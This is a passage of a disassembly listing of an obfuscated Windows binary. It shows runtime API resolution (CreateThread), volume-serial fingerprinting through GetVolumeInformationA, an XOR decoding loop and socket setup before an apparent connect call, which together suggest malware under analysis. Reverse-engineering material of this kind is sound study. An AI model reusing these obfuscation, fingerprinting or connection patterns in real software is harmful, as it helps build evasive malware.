		push	0FFFFFFFFh
		push	off_9B99BD
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 220h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		mov	[ebp-18h], esp
		mov	[ebp-228h], ebx
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BA623
		call	dword ptr [ecx+18h]
		xor	esi, esi
		mov	[ebp-4], esi
		cmp	[ebp+8], esi
		jz	loc_9B104C
		jmp	loc_9AF184
sub_9B4FD0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B5034:				; CODE XREF: sub_9AC32C:loc_9B5E20j
		test	esi, esi
		push	[esp+324h+arg_0]
		pop	esi
		jz	loc_9B4127
		jmp	loc_9AD280
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B504C:				; CODE XREF: sub_9B037C-49BDj
					; sub_9B2E04-9EEj ...
		and	edi, edi
		jz	loc_9AC13B
		jmp	off_9B9CEC
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B505C:				; CODE XREF: sub_9B0930+F87j
		push	offset aCreatethread ; "CreateThread"
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+14h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+14h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAFC3
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B5090:				; CODE XREF: sub_9AC6DC+3984j
		mov	dword_9BBD24, 0FFFFFFFFh
		jmp	loc_9AF003
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B50A0:				; CODE XREF: sub_9B0930+3F93j
					; DATA XREF: .text:off_9B9E97o
		push	off_9BA0F5
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+24h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		mov	ecx, [eax+24h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AD55C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B50D0:				; CODE XREF: sub_9B4950-49F2j
					; DATA XREF: .text:off_9B8F9Ao
		cmp	dword_9BEC20[edi], ebx
		jz	loc_9B332E
		jmp	loc_9B366C
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B50EC:				; CODE XREF: sub_9ABA3C+A2E1j
		or	eax, eax
		jz	loc_9B0296
		jmp	off_9BADF4
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B5100	proc near		; CODE XREF: sub_9B4BF8-701Ep
					; sub_9B57B4-11B5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB6B4 SIZE 00000015 BYTES

		push	esi
		push	eax
		pop	esi
		push	edi
		xor	eax, eax
		mov	edi, esi
		push	40h
		pop	ecx
		rep stosd
		stosw
		xor	eax, eax


loc_9B5111:				; CODE XREF: sub_9B5100+1Bj
		mov	[eax+esi+2], al
		inc	eax
		cmp	eax, 100h
		jl	short loc_9B5111
		jmp	loc_9AB6B4
sub_9B5100	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B5124:				; CODE XREF: sub_9B649C-81F7j
					; DATA XREF: .text:off_9B9D04o
		add	eax, 1Ah
		mov	[ebp+var_1C], eax


loc_9B512A:				; CODE XREF: sub_9B649C-81FDj
		test	bh, 7Fh
		jz	loc_9AE5F0
		jmp	loc_9B0D18
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B5140:				; CODE XREF: sub_9AF030+5AC6j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		push	0
		push	0
		mov	eax, dword_9BBF9C[esi]
		push	eax
		call	dword ptr [edx+78h]
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [edi]
		push	ecx
		push	dword ptr [edi+44h]
		pop	eax
		push	eax
		mov	ecx, dword_9BBF9C[esi]
		push	ecx
		call	dword ptr [edx+74h]
		or	eax, eax
		jz	loc_9AC620
		jmp	off_9B8ECE
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B5188:				; CODE XREF: sub_9B04A8+11j
					; DATA XREF: .text:off_9B942Do
		sub	ebx, ebx
		mov	[ebp-404Ch], ebx
		mov	[ebp-4040h], ebx


loc_9B5196:				; CODE XREF: sub_9B04A8+58CEj
		cmp	dword ptr [ebp-4040h], 3
		jge	loc_9B2630
		jmp	off_9B9EF5
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF3E8


loc_9B51AC:				; CODE XREF: sub_9AF3E8+8j
		push	1
		pop	eax


loc_9B51AF:				; CODE XREF: sub_9AF3E8+2j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	eax
		push	40h
		call	dword ptr [edx+7Ch]
		retn
; END OF FUNCTION CHUNK	FOR sub_9AF3E8
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+0Ch]
		pop	ebx
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B51E4:				; CODE XREF: sub_9AD97C+28A8j
					; DATA XREF: .text:off_9B99EEo
		mov	[ebp-1Ch], esi
		jmp	loc_9AC18B
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B51EC:				; CODE XREF: sub_9B0930-2A55j
		push	off_9B89B4
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+54h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		mov	ecx, [eax+54h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B5594
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B5228	proc near		; CODE XREF: sub_9AEBB8+61j
					; DATA XREF: .text:off_9B9052o
		push	ebx
		push	ebx		; lpFileSystemNameBuffer
		lea	ecx, [ebp-128h]
		push	ecx		; lpFileSystemFlags
		lea	edx, [ebp-12Ch]
		push	edx		; lpMaximumComponentLength
		lea	eax, [ebp-124h]
		push	eax		; lpVolumeSerialNumber
		push	ebx		; nVolumeNameSize
		push	ebx		; lpVolumeNameBuffer
		lea	ecx, [ebp-120h]
		push	ecx		; lpRootPathName
		call	GetVolumeInformationA
		and	eax, eax
		jnz	loc_9ABDE3
		jmp	off_9BA7C9
sub_9B5228	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B525C:				; CODE XREF: sub_9B1A08-30A4j
					; DATA XREF: .text:off_9B8D2Bo
		mov	esi, eax
		mov	[ebp+var_41E8],	esi
		inc	eax
		mov	[ebp+var_41E0],	eax
		cmp	eax, 1
		jnz	loc_9AF792
		jmp	off_9BA488
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9B527C:				; CODE XREF: sub_9B3FF8-82E2j
		cmp	ebx, edi
		ja	loc_9B2884
		jmp	loc_9B02B0
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9B528F:				; CODE XREF: sub_9B2F1C-79CBj
					; sub_9B2F1C-5ACFj ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B52A8:				; CODE XREF: sub_9B3864-4054j
					; DATA XREF: .text:off_9B9260o
		cmp	edi, 11h
		jnz	loc_9AFC90
		jmp	loc_9AF0F8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B52B8:				; CODE XREF: sub_9B3864-1EAFj
		push	[ebp+var_2020]
		pop	eax
		test	eax, eax
		jnz	loc_9AF480
		jmp	off_9BA611
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B52D0:				; CODE XREF: sub_9B1D80+1F97j
		call	sub_9B36E8
		mov	edx, eax
		mov	[ebp-2050h], edx
		mov	eax, [ebp-202Ch]
		and	eax, 7FFFFFFFh
		mov	ecx, edx
		and	ecx, 7FFFFFFFh
		cmp	ecx, eax
		jbe	loc_9B0208
		jmp	loc_9AAFDC
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B5300	proc near		; CODE XREF: sub_9B3984-7BCBp
					; sub_9B63D8-2C39p ...

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009ABA00 SIZE 00000009 BYTES

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	eax
		pop	esi
		mov	ebx, ecx
		or	esi, esi
		jle	loc_9ABA00
		jmp	off_9B8A02
sub_9B5300	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B531C:				; CODE XREF: sub_9B0930-3C7j
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B0E28
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9B532C:				; CODE XREF: sub_9B36E8+5Ej
					; DATA XREF: .text:off_9B8CC1o
		push	dword_9BBD2C
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, edi
		jz	loc_9AC48D
		jmp	loc_9AC484
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B5344:				; CODE XREF: sub_9AF25C-3883j
					; sub_9AF25C-1696j
		test	al, 2
		jz	loc_9AB8D1
		jmp	off_9BADA0
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B5354:				; CODE XREF: sub_9B1D80:loc_9B0208j
		mov	eax, [ebp-2028h]
		and	eax, eax
		jnz	loc_9B3ECB
		jmp	off_9B87DC
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B5368:				; CODE XREF: sub_9AC250-F70j
		xor	eax, [esp+0Ch+arg_0]


loc_9B536C:				; CODE XREF: sub_9AC250+152Aj
					; sub_9AC250+2F26j ...
		mov	ecx, 15A4E35h
		mul	ecx
		add	eax, 1
		adc	edx, 0
		xor	[esi+8], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 1
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 2
		xor	[esi+8], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 3
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 4
		xor	[esi+8], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 5
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 6
		xor	[esi+8], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 7
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 8
		xor	[esi+8], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 9
		xor	[esi+0Ch], dx
		push	dword ptr [esi+8]
		pop	edi
		push	edi
		pop	edx
		jmp	loc_9B0F50
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B29B0


loc_9B541B:				; CODE XREF: sub_9B29B0-3FDAj
					; sub_9B29B0-6CCj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-228h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B29B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B5444:				; CODE XREF: sub_9B1A08-36BCj
					; sub_9B1A08-31FCj
		test	al, 4
		jz	loc_9AD484
		jmp	off_9BB09B
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B5454:				; CODE XREF: sub_9B4CF4-2019j
					; DATA XREF: .text:off_9B9518o
		sub	eax, edx
		mov	edi, ebx
		dec	edi


loc_9B5459:				; CODE XREF: sub_9B4CF4+76Bj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9B5459
		jmp	off_9BABBF
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B5468:				; CODE XREF: sub_9ADDA4+35F7j
		dec	edi
		mov	[ebp-30h], edi
		mov	eax, [ebp+edi*4-27Ch]
		mov	[ebp+esi*4-27Ch], eax
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B5480	proc near		; CODE XREF: sub_9AF25C-3988p
					; sub_9AF25C-3891p ...

; FUNCTION CHUNK AT 009AB858 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD8D8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE9A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B0AB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B335B SIZE 00000018 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA5EC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	ecx
		pop	esi
		mov	dword ptr [ebp-4], 0
		test	esi, esi
		jz	loc_9B335B
		jmp	off_9B88C8
sub_9B5480	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B54C0:				; CODE XREF: sub_9B63D8-942j
		cmp	esi, 0FFFFFFFFh
		jz	loc_9AF944
		jmp	off_9BA98E
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B54D0:				; CODE XREF: sub_9B4FD0-3F73j
		lea	ecx, [eax+eax*2]
		shl	ecx, 4
		cmp	dword_9BBF74[ecx], esi
		jnz	loc_9ACC18
		jmp	off_9B8C64
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B54E8:				; CODE XREF: sub_9B174C+2854j
		sub	eax, edi


loc_9B54EA:				; CODE XREF: sub_9B174C+4656j
		mov	[esi], eax
		mov	ecx, dword_9BBE3C
		mov	edx, [ecx]
		sub	edx, eax
		sub	edx, edi
		mov	[ebx], edx
		mov	ecx, [esi]
		push	dword_9BBE3C
		pop	eax
		mov	esi, [eax+44h]
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	ecx
		pop	edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		cmp	dword ptr [ebx], 0
		jnz	loc_9B166F
		jmp	off_9B9A21
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B5528:				; CODE XREF: sub_9AC250+2F2Cj
		cmp	ecx, ebx
		jz	loc_9B536C
		jmp	off_9BB029
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B5538:				; CODE XREF: sub_9AD11C+2Ej
		mov	ecx, [esp+18h+arg_0]
		push	dword_9BCB74
		pop	edx
		sub	eax, eax
		mov	[esp+18h+var_14], eax
		mov	[esp+18h+var_10], eax
		mov	[esp+18h+var_C], eax
		mov	[esp+18h+var_10], ecx
		push	[esp+18h+arg_4]
		pop	ecx
		push	edi
		mov	[esp+1Ch+var_8], eax
		mov	word ptr [esp+1Ch+var_14], 2
		mov	eax, [edx+10h]
		push	ecx
		call	dword ptr [eax+8]
		mov	edx, dword_9BCB74
		push	10h
		lea	ecx, [esp+1Ch+var_10]
		push	ecx
		mov	word ptr [esp+20h+var_10+2], ax
		mov	eax, [edx+10h]
		push	esi
		call	dword ptr [eax+50h]
		test	eax, eax
		jnz	loc_9B0B34
		jmp	loc_9B36C0
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B5594:				; CODE XREF: sub_9B0930+48E8j
		push	off_9B9072
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+10h]
		mov	[ecx+58h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		mov	ecx, [eax+58h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B0984
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B55C4:				; CODE XREF: sub_9B63D8-3713j
					; DATA XREF: .text:off_9B8E9Co
		lea	ebx, [eax+4]
		mov	ecx, 9
		sub	eax, eax
		mov	[ebp-2124h], ebx
		mov	edi, off_9B9936
		lea	esi, [ebp-2120h]
		repe cmpsb
		jz	loc_9B1278
		jmp	off_9B9082
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B55F4:				; CODE XREF: sub_9B0930-1A74j
		push	10h
		push	40h
		call	edi
		mov	edx, dword_9BCB74
		mov	[edx+14h], eax
		push	10h
		push	40h
		call	edi
		push	dword_9BCB74
		pop	ecx
		mov	[ecx+18h], eax
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8EDA
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B562C	proc near		; CODE XREF: sub_9B03E8:loc_9AC404p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AD498 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009AE76C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AECDF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AF144 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009AFAE4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B07C8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B0ADC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B2354 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAFCF
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], ebx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+84h]
		test	eax, eax
		mov	eax, off_9BAE26
		js	loc_9B0AE1
		jmp	loc_9B0ADC
sub_9B562C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B5690:				; CODE XREF: sub_9B03E8+3596j
					; DATA XREF: .text:off_9B9775o
		push	dword_9BF380
		pop	eax
		or	eax, 1
		mov	word ptr dword_9BF380, ax


loc_9B56A0:				; CODE XREF: sub_9B03E8+27F1j
					; sub_9B03E8+3590j
		mov	dword ptr [ebp-14Ch], 9Ch
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword ptr [edx+90h]
		test	eax, eax
		jz	loc_9AC404
		jmp	loc_9ABFC0
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B56D0:				; CODE XREF: sub_9B1D80+4394j
		push	dword ptr [ebp-2044h]
		pop	eax
		test	byte ptr [eax+8], 8
		jz	loc_9AE945
		jmp	loc_9AE918
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B0C20


loc_9B56EB:				; CODE XREF: sub_9B0C20+38j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B0C20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B5708:				; CODE XREF: sub_9B4FD0-62FAj
		push	eax
		pop	ebx
		mov	[ebp-228h], ebx


loc_9B5710:				; CODE XREF: sub_9B4FD0-7CA6j
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9ABB60
		jmp	off_9BA340
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9B5724:				; CODE XREF: sub_9B037C-326Ej
		mov	ebx, [ebp-4058h]
; END OF FUNCTION CHUNK	FOR sub_9B037C
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B572A:				; CODE XREF: sub_9B2E04-3D69j
					; sub_9B037C+29j
		test	edi, edi
		jz	loc_9B107C
		jmp	loc_9ACB90
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B5738:				; CODE XREF: sub_9AF030+45E0j
		lea	edx, [ebx+eax]
		cmp	edx, 100000h
		ja	loc_9AC634
		jmp	loc_9B4160
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B574C:				; CODE XREF: sub_9B0930+55AAj
					; DATA XREF: .text:off_9B9897o
		push	off_9BA3D4
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	[edx+10h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+10h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B38FC
; ---------------------------------------------------------------------------


loc_9B5780:				; CODE XREF: sub_9B0930-A76j
		push	off_9B9827
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+0Ch], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9974
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B57B4	proc near		; CODE XREF: sub_9B2118-1B75p

var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC7E4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B1104 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B34C8 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 009B45E4 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B4BAB SIZE 00000023 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA971
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 13Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		jmp	off_9BAEFD
sub_9B57B4	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B5807:				; CODE XREF: sub_9AFF64-3385j
					; sub_9AFF64-30E0j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		push	[ebp+var_228]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5844:				; CODE XREF: sub_9B63D8-22BBj
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		lea	eax, [ebp-216Ch]
		push	eax
		lea	ecx, [ebp-2188h]
		push	ecx
		call	dword ptr [edx+48h]
		test	eax, eax
		jz	loc_9B4696
		jmp	loc_9B4668
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
